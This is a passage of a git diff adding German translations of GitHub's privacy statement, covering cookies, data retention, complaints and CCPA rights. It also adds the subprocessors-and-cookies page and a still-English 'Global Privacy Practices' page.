wir Produkte und Dienste für Unternehmenskunden vermarkten, z. B. auf resources.github.com. 
+
+Wir und/oder unsere Partner teilen diese Informationen, die wir erfassen oder ableiten, für diese Zwecke an Drittanbieter weiter.
+
+Die folgende Tabelle enthält zusätzliche Informationen dazu, wie wir verschiedene Arten von Cookies verwenden:
+
+| Zweck | Beschreibung |
+|:---|:---|
+| Erforderliche Cookies | GitHub verwendet erforderliche Cookies, um notwendige Websitefunktionen zu ermöglichen und die Dienste bereitzustellen. Cookies werden beispielsweise verwendet, um Sie anzumelden, Ihre bevorzugte Sprache zu speichern, einen Warenkorb bereitzustellen, die Leistung zu verbessern, den Datenverkehr zwischen Webservern umzuleiten, die Größe Ihres Bildschirms zu erkennen, die Ladezeiten von Seiten zu bestimmen, die Benutzererfahrung zu verbessern und die Zielgruppe zu messen. Diese Cookies sind erforderlich, damit unsere Websites funktionieren. | 
+| Analyse | Wir erlauben es Drittanbietern, Analysecookies zu verwenden, um zu verstehen, wie Sie unsere Websites verwenden, damit wir diese verbessern können. Cookies werden beispielsweise verwendet, um Informationen zu den von Ihnen besuchten Seiten zu sammeln sowie dazu, wie viele Clicks Sie benötigen, um eine Aufgabe abzuschließen. Außerdem nutzen wir Analysecookies für personalisierte Werbung. |
+| Soziale Medien | GitHub und Drittanbieter verwenden Social Media-Cookies, um Ihnen basierend auf Ihren Profilen auf Social Media und Ihrer Aktivität auf den Websites von GitHub Werbung und Inhalte anzuzeigen. Dadurch wird sichergestellt, dass die Werbung und die Inhalte, die Ihnen auf unseren Websites und auf Social Media angezeigt werden, Ihren Interessen besser entsprechen. So können Drittanbieter ihre Produkte entwickeln und verbessern, die sie ggf. auf Websites nutzen, die nicht GitHub gehören und nicht von GitHub betrieben werden. | 
+| Werbung | Außerdem verwenden GitHub und Drittanbieter Werbecookies, um Ihnen ausgehend von Werbung, die Sie bereits gesehen haben, neue Werbung anzuzeigen. Cookies verfolgen auch nach, auf welche Anzeigen Sie klicken oder was Sie nach dem Anklicken einer Anzeigen kaufen. Dies geschieht sowohl zu Zahlungszwecken als auch um Ihnen Werbung anzuzeigen, die relevanter für Sie ist. Cookies dienen beispielsweise dazu, zu erkennen, wann Sie eine Anzeige anklicken, und um Ihnen basierend auf Ihren Interessen auf Social Media und Ihres Verlaufs auf der Website Werbung anzuzeigen. | 
+
+#### Welche Optionen haben Sie in Bezug auf Cookies, und was können Sie steuern?
+
+  Sie haben verschiedene Optionen, um nicht erforderliche Cookies zu deaktivieren:
+
+  1. **Speziell auf GitHub-Seiten für Unternehmensmarketing**
+   
+     Eine GitHub-Seite, die nicht erforderliche Cookies verarbeitet, stellt in der Fußzeile einen Link zu den Cookie-Einstellungen bereit. Sie können Ihre Einstellungen jederzeit ändern, indem Sie auf diesen Link klicken und die gewünschten Einstellungen vornehmen.
+
+     Einige Benutzer können auch über ein Banner für die Cookie-Zustimmung nicht erforderliche Cookies verwalten. Dazu zählen auch Optionen zum Akzeptieren, Verwalten und Ablehnen aller nicht erforderlichen Cookies.
+  2. **Generell für alle Websites**
+
+    Sie können alle Cookies, auf die Sie im Web stoßen, über verschiedene verfügbare Tools steuern. Beispiel:
+     - Wenn Ihr Browser ein [Nicht verfolgen](https://en.wikipedia.org/wiki/Do_Not_Track) (DNT)-Signal sendet, setzt GitHub keine nicht erforderlichen Cookies und lädt keine Ressourcen von Drittanbietern, die nicht erforderliche Cookies setzen.
+     - Viele Browser stellen Cookiesteuerungen bereit, die die Arten von Cookies beschränken, auf die Sie online stoßen. Weitere Informationen zu Ihrem Browser finden Sie in der Dokumentation.
+     - Wenn Sie eine Browsererweiterung aktivieren, die die Nachverfolgung blockieren soll, wie etwa [Privacy Badger](https://en.wikipedia.org/wiki/Privacy_Badger), werden nicht erforderliche Cookies, die von einer Website oder Drittanbietern gesetzt werden, deaktiviert.
+     - Wenn Sie eine Browsererweiterung aktivieren, die unerwünschte Inhalte blockieren sollen, wie etwa [uBlcok Origin](https://en.wikipedia.org/wiki/UBlock_Origin), werden nicht erforderliche Cookies insofern deaktiviert, dass Inhalte, die nicht erforderliche Cookies setzen, blockiert werden.
+     - Werbungssteuerung. Unsere Werbepartner gehören möglicherweise Verbänden an, die einfache Möglichkeiten bieten, um die Zustimmung zur zielgerichteter Werbung zu verweigern. Auf diese können Sie wie folgt zugreifen:
+       - USA: [NAI](http://optout.networkadvertising.org) und [DAA](http://optout.aboutads.info/)
+       - Kanada: [Digital Advertising Alliance of Canada](https://youradchoices.ca/)
+       - Europa: [European Digital Advertising Alliance](http://www.youronlinechoices.com/)
+
+    Die Einstellungen sind je nach verwendetem Browser unterschiedlich. Wenn Sie über andere Geräte oder Browser auf unsere Dienste zugreifen, ergreifen Sie die entsprechenden Maßnahmen für diese Systeme, um sicherzustellen, dass Ihre Einstellungen auf die Daten angewendet werden, die bei der Verwendung der Systeme erfasst werden.
+
+
+
+## Aufbewahrung personenbezogener Daten
+Wir bewahren personenbezogene Daten so lange auf, wie dies für die Bereitstellung der von Ihnen angeforderten Dienste und die Abwicklung der von Ihnen angeforderten Transaktionen, für die Erfüllung unserer gesetzlichen Pflichten, für die Beilegung von Streitigkeiten, für die Durchsetzung unserer Vereinbarungen und für andere legitime und gesetzmäßige geschäftliche Zwecke erforderlich ist. Da diese Anforderungen für verschiedene Datentypen im Kontext verschiedener Dienste unterschiedlich sein können, können die tatsächlichen Aufbewahrungszeiträume abhängig von Kriterien wie Benutzererwartungen oder -zustimmung, Vertraulichkeit der Daten, Verfügbarkeit automatischer Kontrollen, die Benutzern das Löschen von Daten ermöglichen, und unseren gesetzlichen oder vertraglichen Pflichten erheblich variieren. Beispielsweise können Ihre personenbezogenen Daten aus Sicherheitsgründen länger aufbewahrt werden, wenn dies erforderlich und gesetzlich zulässig ist. 
+
+## Wie GitHub Ihre Informationen schützt
+GitHub ergreift angemessene Maßnahmen, um Ihre personenbezogenen Daten vor unbefugtem Zugriff sowie vor Änderung oder Zerstörung zu schützen, die Richtigkeit der Daten zu wahren und die angemessene Nutzung Ihrer personenbezogenen Daten zu gewährleisten. Unterstützen Sie uns beim Schutz personenbezogener Daten, indem Sie ein sicheres Kennwort verwenden, es niemals an andere weitergeben und nicht das gleiche Kennwort für andere Websites oder Konten nutzen.
+
+Außerdem gilt: Wenn Ihr Konto über private Repositorys verfügt, wird der Zugriff auf diese Inhalte von Ihnen gesteuert. GitHub-Personal greift nicht auf den Inhalt privater Repositorys zu, außer
+- aus Sicherheitsgründen, 
+- zur automatisierten Überprüfung auf bekannte Sicherheitslücken, aktive Schadsoftware oder andere Inhalte, die bekanntermaßen gegen unsere Vertragsbedingungen verstoßen,
+- um den Eigentümer des Repositories in einer Support-Angelegenheit zu unterstützen
+- um die Integrität des Dienstes zu wahren
+- um unseren gesetzlichen Pflichten nachzukommen, wenn wir Grund zu der Annahme haben, dass die Inhalte gegen geltendes Recht verstoßen, oder 
+- mit Ihrer Zustimmung.
+
+Github informiert über den Zugriff auf private Repositorys, wenn dieser nicht gesetzlich untersagt ist oder wenn der Zugriff aufgrund einer Sicherheitsbedrohung oder eines anderen Sicherheitsrisikos erfolgt.
+
+### Grenzüberschreitende Datenübermittlungen
+GitHub verarbeitet personenbezogene Daten sowohl innerhalb als auch außerhalb der Vereinigten Staaten und stützt sich dabei auf rechtliche Mechanismen wie Standardvertragsklauseln, um Daten rechtmäßig aus dem Europäischen Wirtschaftsraum, dem Vereinigten Königreich und der Schweiz in die Vereinigten Staaten zu übertragen. Eine Kopie der Standardvertragsklauseln kann über die Kontaktdetails angefordert werden, die weiter unten im Abschnitt „GitHub kontaktieren” angegeben sind. 
+
+### Umgang mit Beschwerden
+Wenn Sie Bedenken hinsichtlich der Art und Weise haben, wie GitHub mit Ihren personenbezogenen Daten umgeht, teilen Sie uns dies umgehend mit. Wir möchten Ihnen helfen. Sie können uns kontaktieren, indem Sie das [Kontaktformular Datenschutz](https://support.github.com/contact/privacy) ausfüllen. Sie können auch direkt eine E-Mail mit dem Betreff „Privacy Concerns“ an **privacy@github.com** senden. Wir werden umgehend antworten – spätestens innerhalb von 45 Tagen.
+
+Sie können sich unter **github [at]dp-officer [dot] com** auch direkt an unseren Datenschutzbeauftragten wenden.
+
+**Wenn Sie sich in Nordamerika befinden:**<br>
+GitHub Datenschutzbeauftragter<br>
+88 Colin P. Kelly Jr. St.<br>
+San Francisco, CA 94107<br>
+USA<br>
+**privacy@github.com**<br>
+
+**Wenn Sie sich außerhalb Nordamerikas befinden:**<br>
+GitHub-Datenschutzbeauftragter<br>
+c/o DP Dock DPO Services GmbH,<br>
+Z. Hd.: GitHub BV, Gut Projensdorf,<br>
+24161 Altenholz, Deutschland<br>
+github@dp-officer.com  cc: **privacy [at] github [dot] com**<br>
+CC: GitHub BV, Vijzelstraat 68-72, 1017 HL Amsterdam, Niederlande
+
+### Streitbeilegungsverfahren
+
+In dem unwahrscheinlichen Fall, dass es zwischen Ihnen und GitHub zu Streitigkeiten bezüglich unseres Umgangs mit Ihren Personenbezogenen Nutzerdaten kommt, werden wir unser Bestes tun, um diese zu lösen. Wenn Sie in einem EU-Mitgliedstaat ansässig sind, haben Sie außerdem das Recht, eine Beschwerde bei Ihrer örtlichen Aufsichtsbehörde einzureichen, und Sie haben möglicherweise weitere [Optionen](/github/site-policy/global-privacy-practices#dispute-resolution-process).
+
+## Änderungen an unserer Datenschutzerklärung
+
+Obwohl die meisten Änderungen wahrscheinlich geringfügig sind, kann GitHub die Datenschutzerklärung von Zeit zu Zeit ändern. Wir benachrichtigen die Nutzer mindestens 30 Tage vor dem Inkrafttreten der Änderung auf unserer Website über wesentliche Änderungen an dieser Datenschutzerklärung oder durch eine E-Mail an die primäre E-Mail-Adresse, die in Ihrem GitHub Konto angegeben ist. Wir werden auch unser [Site-Policy Repository](https://github.com/github/site-policy/) aktualisieren, das alle Änderungen an dieser Richtlinie verfolgt. Für andere Änderungen an dieser Datenschutzerklärung empfehlen wir den Nutzern, unser Site-Policy Repository zu [beobachten](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository) oder regelmäßig aufzurufen.
+
+## Lizenz
+
+Diese Datenschutzerklärung ist unter dieser [Creative Commons Zero-Lizenz](https://creativecommons.org/publicdomain/zero/1.0/) lizenziert. Einzelheiten finden Sie in unserem [Site-Policy Repository](https://github.com/github/site-policy#license).
+
+## GitHub kontaktieren
+Fragen bezüglich der Datenschutzerklärung oder Informationspraktiken von GitHub sollten mit unserem [Kontaktformular Datenschutz](https://support.github.com/contact/privacy) an unsere gerichtet werden.
+
+## Übersetzungen
+
+Nachfolgend finden Sie Übersetzungen dieses Dokuments in andere Sprachen. Im Falle von Konflikten, Unsicherheiten oder offensichtlichen Widersprüchen zwischen einer dieser Versionen und der englischen Version ist diese englische Version die maßgebliche Version.
+
+### Französisch
+Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(07.22.20)(FR).pdf)
+
+### Andere Übersetzungen
+
+Für Übersetzungen dieser Erklärung in andere Sprachen besuchen Sie bitte [https://docs.github.com/](/) und wählen Sie eine Sprache aus dem Dropdown-Menü unter „English”.
+
+## Hinweis von GitHub für Einwohner Kaliforniens
+Der [California Consumer Privacy Act](https://leginfo.legislature.ca.gov/faces/billCompareClient.xhtml?bill_id=201720180AB375) von 2018, (Cal. Civ. Code §1798.100 ff. in der geänderten Fassung „CCPA“) gibt Einwohnern Kaliforniens Rechte und Kontrolle über ihre personenbezogenen Daten. GitHub, Inc. („GitHub“, „wir“) stellt diesen Personen („Sie“) diese Erklärung in Übereinstimmung mit den Anforderungen des CCPA zur Verfügung, um bestimmte Offenlegungen über die Erfassung und Verarbeitung ihrer personenbezogenen Daten zu machen. Dies ist die für Kalifornien spezifische Beschreibung von GitHub zu den Datenschutzrechten der Verbraucher gemäß dem CCPA. Informationen darüber, wie wir die grundlegenden Rechte aus dem CCPA zur Kontrolle personenbezogener Daten auf alle unsere Nutzer in den Vereinigten Staaten ausgeweitet haben, finden Sie in unserer [Datenschutzerklärung](/github/site-policy/github-privacy-statement).
+
+### Unser Umgang mit personenbezogenen Daten
+Die folgende Tabelle enthält Informationen zu den Kategorien personenbezogener Daten, die wir erfassen, verarbeiten und weitergeben. Umfassende Informationen finden Sie in der [GitHub-Datenschutzerklärung](/github/site-policy/github-privacy-statement).
+
+| Kategorie der personenbezogenen Daten, die in den vorangegangenen 12 Monaten gesammelt wurden                                                                                                                               | Kategorie der Quellen, aus denen die personenbezogenen Daten erhoben wurden                                                                                     |
+|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| Identifikatoren (wie echter Name, Alias, Postanschrift, eindeutige persönliche Kennung, Online-Kennung, IP-Adresse, E-Mail-Adresse, Kontoname oder andere, ähnliche Kennungen) | Informationen, die der Verbraucher direkt oder automatisch durch seine Interaktion mit unserem Dienst und/oder unserer Website oder mit Anbietern, Partnern oder verbundenen Unternehmen von GitHub bereitstellt |
+| Personenbezogene Daten, die im Zivilgesetzbuch von Kalifornien unter §1798.80 (e) beschrieben sind (wie Name, Adresse, Kredit- oder Debitkartennummer)                                                                     | Informationen, die der Verbraucher gegebenenfalls direkt bereitstellt (über Dienstanbieter)                                                                                 |
+| Merkmale geschützter Klassifikationen nach kalifornischem Recht oder Bundesrecht (wie etwa Geschlecht)                                                                                              | Informationen, die der Verbraucher gegebenenfalls direkt bereitstellt                                                                                                            |
+| Kommerzielle Informationen (z. B. über gekaufte, erhaltene oder in Betracht gezogene Produkte oder Dienstleistungen oder die Historie anderer Käufe bzw. Konsumverhaltensweisen oder diesbezügliche Tendenzen)                                   | Informationen, die der Verbraucher direkt oder automatisch durch seine Interaktion mit unserem Service und/oder unserer Website bereitstellt                                                            |
+| Daten zum geografischen Standort (etwa Informationen, die erfasst werden, nachdem Benutzern die Möglichkeit gegeben wurde, sich für standortbasierte Dienste anzumelden, die auf den präzisen Standortdiensten eines Geräts basieren )       | Informationen, die der Verbraucher automatisch durch seine Interaktion mit unserem Service und/oder unserer Website bereitstellt                                                                        |
+| Audiodaten, elektronische, visuelle oder ähnliche Informationen wie Inhalte und Dateien, die in den Dienst hochgeladen wurden                                                                                       | Informationen, die der Verbraucher gegebenenfalls direkt bereitstellt                                                                                                            |
+| Berufliche oder beschäftigungsbezogene Informationen                                                                                                                                                     | Informationen, die der Verbraucher gegebenenfalls direkt bereitstellt                                                                                                            |
+| Schlussfolgerungen, die aus den in dieser Tabelle identifizierten Informationen gezogen werden, um ein Profil über einen Verbraucher zu erstellen, das dessen Vorlieben widerspiegelt                                           | Informationen, die der Verbraucher direkt oder automatisch durch seine Interaktion mit unserem Service und/oder unserer Website bereitstellt |
+
+
+Die oben beschriebenen Kategorien personenbezogener Daten werden für die Zwecke verwendet, die im Abschnitt [Wie GitHub Ihre Informationen verwendet](/github/site-policy/github-privacy-statement#how-github-uses-your-information) unserer Datenschutzerklärung aufgeführt sind. Außerdem werden die oben aufgeführten Kategorien personenbezogener Daten von uns für geschäftliche Zwecke offengelegt. Ausführlichere Informationen finden Sie im Abschnitt [Wie wir die von uns erhobenen Informationen weitergeben](/github/site-policy/github-privacy-statement#how-we-share-the-information-we-collect) unserer Datenschutzerklärung. 
+ 
+### Wir verkaufen Ihre personenbezogenen Daten nicht
+Gemäß dem CCPA muss ein Unternehmen, das personenbezogene Daten von Einwohnern Kaliforniens an andere verkauft: 1) den betreffenden Einwohner Kaliforniens benachrichtigen, bevor es seine personenbezogenen Daten an andere verkauft; und 2) dem betreffenden Einwohner Kaliforniens das Recht einräumen, dem Verkauf seiner personenbezogenen Daten zu widersprechen.
+GitHub verkauft personenbezogene Daten nicht. Dies gilt insbesondere auch für personenbezogene Daten von Personen unter 16 Jahren. 
+
+### Ihre Rechte unter dem CCPA
+Der CCPA gewährt Personen, die in Kalifornien ansässig sind, bestimmte Rechte in Bezug auf ihre personenbezogenen Daten. Um auf dieser Rechtsgrundlage eine Anfrage einzureichen, kontaktieren Sie uns bitte über unser [Kontaktformular](https://support.github.com/contact?tags=docs-policy).
+
+
+
+Wenn wir eine Anfrage erhalten, überprüfen wir zunächst, ob die anfragende Person mit dem Einwohner Kaliforniens identisch ist, auf den sich die personenbezogenen Daten beziehen, die Gegenstand der Anfrage sind. Einwohner Kaliforniens können ihre Rechte selbst ausüben oder einen bevollmächtigten Vertreter damit beauftragen, Anfragen in ihrem Namen zu stellen. Der Vertreter kann entweder schriftlich oder per Vollmacht bestimmt werden. Wenn Sie einen bevollmächtigten Vertreter einsetzen, um eine Anfrage zu stellen, fordern wir Sie gegebenenfalls auf, uns zusätzliche Informationen zur Verfügung zu stellen, die belegen, dass der Vertreter in Ihrem Namen handelt, und Sie müssen Ihre Identität ggf. direkt uns gegenüber nachweisen.
+In Bezug auf ihre personenbezogenen Daten können Einwohner Kaliforniens die im Anschluss beschriebenen Rechte ausüben:
+#### Recht auf Information 
+Sie können verlangen, dass wir Ihnen gegenüber die persönlichen Daten offenlegen, die wir über Sie gesammelt haben.  Des Weiteren haben Sie das Recht, zusätzliche Informationen dazu anzufordern, wie wir derartige personenbezogene Daten erfassen, nutzen, offenlegen oder verkaufen.  Hinweis: Viele dieser Informationen sind bereits in dieser Datenschutzerklärung enthalten. Sie können die Nutzermigrations-API von GitHub verwenden, um auf Ihre Daten zuzugreifen und sie herunterzuladen. Weitere Informationen finden Sie hier. Eine solche Auskunftsanfrage kann auch durch Kontaktaufnahme mit uns gestellt werden.
+#### Recht auf Löschung 
+Sie haben unter bestimmten Umständen auch das Recht, die Löschung Ihrer personenbezogenen Daten zu verlangen. Hierbei gilt allerdings eine Reihe von Ausnahmen. Für eine Löschanfrage können Sie über die Benutzermigrations-API von GitHub auf Ihre Daten zugreifen und sie herunterladen. Weitere Informationen finden Sie hier. Eine solche Löschanfrage kann auch durch Kontaktaufnahme mit uns gestellt werden.
+
+#### Recht auf Widerspruch 
+Sie haben das Recht, dem zukünftigen Verkauf personenbezogener Daten zu widersprechen. Beachten Sie, dass wir keine personenbezogenen Daten im Sinne des CCPA verkaufen und dies auch in den letzten 12 Monaten nicht getan haben. 
+
+#### Recht auf Gleichbehandlung 
+Sie haben ein Recht darauf, für die Ausübung Ihrer CCPA-Rechte nicht diskriminiert zu werden. Sie werden von uns keine Diskriminierung erfahren, wenn Sie Ihre CCPA-Rechte ausüben.
+
+Sie können schriftlich oder per Vollmacht einen Bevollmächtigten benennen, der in Ihrem Namen Anfragen zur Ausübung Ihrer Rechte nach dem CCPA stellt. Bevor wir eine solche Anfrage von einem Bevollmächtigten akzeptieren, muss dieser belegen, dass er von Ihnen bevollmächtigt wurde, in Ihrem Auftrag zu handeln, und Sie müssen Ihre Identität ggf. direkt uns gegenüber nachweisen.
+Um bestimmte personenbezogene Daten bereitstellen oder löschen zu können, müssen wir ferner Ihre Identität mit dem gesetzlich vorgeschriebenen Gewissheitsgrad verifizieren. Wir überprüfen Ihre Anfrage, indem wir Sie bitten, die Anfrage über die mit Ihrem Konto verknüpfte E-Mail-Adresse einzureichen, oder indem wir Sie auffordern, Informationen zur Verifizierung Ihres Kontos anzugeben. [Beachten Sie, dass Sie für Ihr GitHub-Konto eine zweistufige Authentifizierung verwenden können.](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication)  
+Außerdem haben Sie ein Recht darauf, bei oder vor der Erfassung personenbezogener Daten über unsere Praktiken informiert zu werden.
+ 
+Darüber hinaus können Einwohner Kaliforniens, die einem Unternehmen, mit dem eine Geschäftsbeziehung für persönliche, familiäre oder haushaltsbezogene Zwecke besteht („kalifornische Kunden“), personenbezogene Daten zur Verfügung gestellt haben, nach Absatz 1798.83 (dem sogenannten Shine the Light-Gesetz) des Zivilgesetzbuchs von Kalifornien, Informationen dazu anfordern, ob das Unternehmen personenbezogene Daten an Dritte für deren Direktmarketingzwecke weitergegeben hat. Beachten Sie, dass wir keine personenbezogenen Daten an Dritte für deren Direktmarketingzwecke im Sinne dieses Gesetzes weitergeben.
+Kalifornische Kunden können per E-Mail (**privacy@github.com**) weitere Informationen zu unserer Einhaltung dieses Gesetzes anfordern. Beachten Sie, dass Unternehmen verpflichtet sind, jährlich jeweils eine Anfrage pro kalifornischem Kunden zu beantworten, und dass Unternehmen nicht verpflichtet sind, auf Anfragen zu antworten, die auf anderem Wege als über die angegebene E-Mail-Adresse gestellt werden.
+
+Einwohner Kaliforniens unter 18 Jahren, die registrierte Benutzer von Onlinewebsites, Diensten oder Anwendungen sind, haben gemäß Absatz 22581 des California Business and Professions Code das Recht, von ihnen veröffentlichte Inhalte oder Informationen zu entfernen oder deren Entfernung zu verlangen und zu erwirken. Wenn Sie von Ihnen veröffentlichte Inhalte oder Informationen entfernen möchten, [reichen Sie einen Antrag auf Entfernung privater Informationen ein](https://support.github.com/contact/private-information). Falls derartige Inhalte oder Informationen durch uns entfernt werden sollen, senden Sie eine ausführliche Beschreibung der spezifischen Inhalte oder Informationen, die Sie entfernen lassen möchten, an den [GitHub-Support](https://support.github.com/contact). Beachten Sie, dass Ihre Anfrage keine vollständige oder umfassende Entfernung von online veröffentlichten Inhalten oder Informationen garantiert und dass die Entfernung unter bestimmten Umständen gesetzlich nicht zulässig ist oder verlangt wird.
+Wenn Sie Fragen zu unseren Datenschutzpraktiken in Bezug auf Einwohner Kaliforniens haben, können Sie sich über unser [Kontaktformular](https://support.github.com/contact?tags=docs-policy) mit uns in Verbindung setzen.
diff --git a/translations/de-DE/content/site-policy/privacy-policies/github-subprocessors-and-cookies.md b/translations/de-DE/content/site-policy/privacy-policies/github-subprocessors-and-cookies.md
new file mode 100644
index 0000000000..6a97e2c7b5
--- /dev/null
+++ b/translations/de-DE/content/site-policy/privacy-policies/github-subprocessors-and-cookies.md
@@ -0,0 +1,41 @@
+---
+title: GitHub Unterauftragsverarbeiter und Cookies
+redirect_from:
+  - /subprocessors
+  - /github-subprocessors
+  - /github-tracking
+  - /github-cookies
+  - /articles/github-subprocessors-and-cookies
+  - /github/site-policy/github-subprocessors-and-cookies
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: a7f017ec2243c015d93797b0117229fe9fdb528c
+ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/07/2022
+ms.locfileid: '147858621'
+---
+Datum des Inkrafttretens: **1. September 2022**
+
+
+GitHub bietet ein hohes Maß an Transparenz darüber, wie wir Ihre Daten verwenden, wie wir Ihre Daten erfassen und mit wem wir Ihre Daten teilen. Zu diesem Zweck stellen wir diese Seite bereit, die Details zu [unseren Unterauftragsverarbeitern](#github-subprocessors) und zur Verwendung von [Cookies](#cookies-on-github) enthält.
+
+## GitHub Unterauftragsverarbeiter
+
+Wenn wir Ihre Daten an Unterauftragsverarbeiter von Drittanbietern wie unsere Lieferanten und Dienstleister weitergeben, bleiben wir weiterhin dafür verantwortlich. Wir arbeiten sehr hart daran, Ihr Vertrauen zu wahren, wenn wir neue Anbieter gewinnen, und wir verlangen von allen Anbietern, Datenschutzvereinbarungen mit uns abzuschließen, die ihre Verarbeitung der personenbezogenen Daten von Nutzern (wie in der [Datenschutzerklärung](/articles/github-privacy-statement/) definiert) einschränkt.
+
+Wenn wir einen neuen Unterauftragsverarbeiter einschalten, der die personenbezogenen Daten unserer Benutzer verarbeitet, oder einen Unterauftragsverarbeiter entfernen, oder wenn wir die Art und Weise ändern, wie wir einen Unterauftragsverarbeiter verwenden, werden wir die Liste der Unterauftragsverarbeiter aktualisieren. Unter [https://www.github.com/privacy/subprocessors](https://www.github.com/privacy/subprocessors) können Sie die aktuelle Liste der Unterauftragsverarbeiter anzeigen und sich für den Erhalt von Aktualisierungen an der Liste der Unterauftragsverarbeiter anmelden.
+
+Wenn Sie Fragen oder Bedenken zu einem neuen Unterauftragsverarbeiter haben, helfen wir Ihnen gerne weiter. Bitte kontaktieren Sie uns über {% data variables.contact.contact_privacy %}.
+
+## Cookies auf GitHub
+
+GitHub verwendet Cookies, um unsere Websites bereitzustellen und zu sichern sowie die Nutzung unserer Websites zu analysieren, um Ihnen ein großartiges Nutzererlebnis zu bieten. Bitte werfen Sie einen Blick in unsere [Datenschutzerklärung](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking), wenn Sie weitere Informationen über Cookies wünschen und darüber, wie und warum wir sie verwenden. 
+ 
+Unter [https://github.com/privacy/cookies](https://github.com/privacy/cookies) können Sie die aktuelle Liste der Cookies auf GitHub anzeigen und sich für den Erhalt von Aktualisierungen an der Liste der Cookies anmelden.
+
+(!) Bitte beachten Sie, dass wir die Cookies von Drittanbietern auf diejenigen beschränken, die für die Bereitstellung externer Funktionen bei der Darstellung externer Inhalte erforderlich sind, dass aber bestimmte Seiten auf unserer Website andere Cookies von Drittanbietern setzen können. Wir können zum Beispiel Inhalte wie Videos von einer anderen Website einbetten, die ein Cookie setzt. Obwohl wir versuchen, diese Drittanbieter-Cookies so gering wie möglich zu halten, können wir nicht immer kontrollieren, welche Cookies der Drittanbieter-Inhalt setzt.
diff --git a/translations/de-DE/content/site-policy/privacy-policies/global-privacy-practices.md b/translations/de-DE/content/site-policy/privacy-policies/global-privacy-practices.md
new file mode 100644
index 0000000000..5dc51bb052
--- /dev/null
+++ b/translations/de-DE/content/site-policy/privacy-policies/global-privacy-practices.md
@@ -0,0 +1,76 @@
+---
+title: Global Privacy Practices
+redirect_from:
+  - /eu-safe-harbor
+  - /articles/global-privacy-practices
+  - /github/site-policy/global-privacy-practices
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+---
+
+Effective date: July 22, 2020
+
+GitHub provides the same high standard of privacy protection—as described in GitHub’s [Privacy Statement](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)—to all our users and customers around the world, regardless of their country of origin or location, and GitHub is proud of the level of notice, choice, accountability, security, data integrity, access, and recourse we provide. 
+
+GitHub also complies with certain legal frameworks relating to the transfer of data from the European Economic Area, the United Kingdom, and Switzerland (collectively, “EU”) to the United States. When GitHub engages in such transfers, GitHub relies on Standard Contractual Clauses as the legal mechanism to help ensure your rights and protections travel with your personal information. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about the European Commission’s decisions on international data transfer, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en).
+
+## Standard Contractual Clauses
+
+GitHub relies on the European Commission-approved Standard Contractual Clauses (“SCCs”) as a legal mechanism for data transfers from the EU. SCCs are contractual commitments between companies transferring personal data, binding them to protect the privacy and security of such data. GitHub adopted SCCs so that the necessary data flows can be protected when transferred outside the EU to countries which have not been deemed by the European Commission to adequately protect personal data, including protecting data transfers to the United States. 
+
+To learn more about SCCs, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en). 
+
+## Privacy Shield Framework
+
+GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks and the commitments they entail, although GitHub does not rely on the EU-US Privacy Shield Framework as a legal basis for transfers of personal information in light of the judgment of the Court of Justice of the EU in Case C-311/18.
+
+The EU-US and Swiss-US Privacy Shield Frameworks are set forth by the US Department of Commerce regarding the collection, use, and retention of personal information transferred from the European Union, the UK, and Switzerland to the United States. GitHub has certified to the Department of Commerce that it adheres to the Privacy Shield Principles. If our vendors or affiliates process personal information on our behalf in a manner inconsistent with the principles of either Privacy Shield Framework, GitHub remains liable unless we prove we are not responsible for the event giving rise to the damage.
+
+For purposes of our certifications under the Privacy Shield Frameworks, if there is any conflict between the terms in these Global Privacy Practices and the Privacy Shield Principles, the Privacy Shield Principles shall govern. To learn more about the Privacy Shield program, and to view our certification, visit the [Privacy Shield website](https://www.privacyshield.gov/).
+
+The Privacy Shield Frameworks are based on seven principles, and GitHub adheres to them in the following ways:
+
+- **Notice**
+  - We let you know when we're collecting your personal information.
+  - We let you know, in our [Privacy Statement](/articles/github-privacy-statement/), what purposes we have for collecting and using your information, who we share that information with and under what restrictions, and what access you have to your data.
+  - We let you know that we're participating in the Privacy Shield framework, and what that means to you.
+  - We have a {% data variables.contact.contact_privacy %} where you can contact us with questions about your privacy.
+  - We let you know about your right to invoke binding arbitration, provided at no cost to you, in the unlikely event of a dispute.
+  - We let you know that we are subject to the jurisdiction of the Federal Trade Commission.
+- **Choice**
+  - We let you choose what happens to your data. Before we use your data for a purpose other than the one for which you gave it to us, we will let you know and get your permission.
+  - We will provide you with reasonable mechanisms to make your choices.
+- **Accountability for Onward Transfer**
+  - When we transfer your information to third party vendors that are processing it on our behalf, we are only sending your data to third parties, under contract with us, that will safeguard it consistently with our Privacy Statement. When we transfer your data to our vendors under Privacy Shield, we remain responsible for it.
+  - We share only the amount of data with our third party vendors as is necessary to complete their transaction.
+- **Security**
+  - We will protect your personal information with [all reasonable and appropriate security measures](https://github.com/security).
+- **Data Integrity and Purpose Limitation**
+  - We only collect your data for the purposes relevant for providing our services to you.
+  - We collect as little information about you as we can, unless you choose to give us more.
+  - We take reasonable steps to ensure that the data we have about you is accurate, current, and reliable for its intended use.
+- **Access**
+  - You are always able to access the data we have about you in your [user profile](https://github.com/settings/profile). You may access, update, alter, or delete your information there.
+- **Recourse, Enforcement and Liability**
+  - If you have questions about our privacy practices, you can reach us with our {% data variables.contact.contact_privacy %} and we will respond within 45 days at the latest.
+  - In the unlikely event of a dispute that we cannot resolve, you have access to binding arbitration at no cost to you. Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
+  - We will conduct regular audits of our relevant privacy practices to verify compliance with the promises we have made.
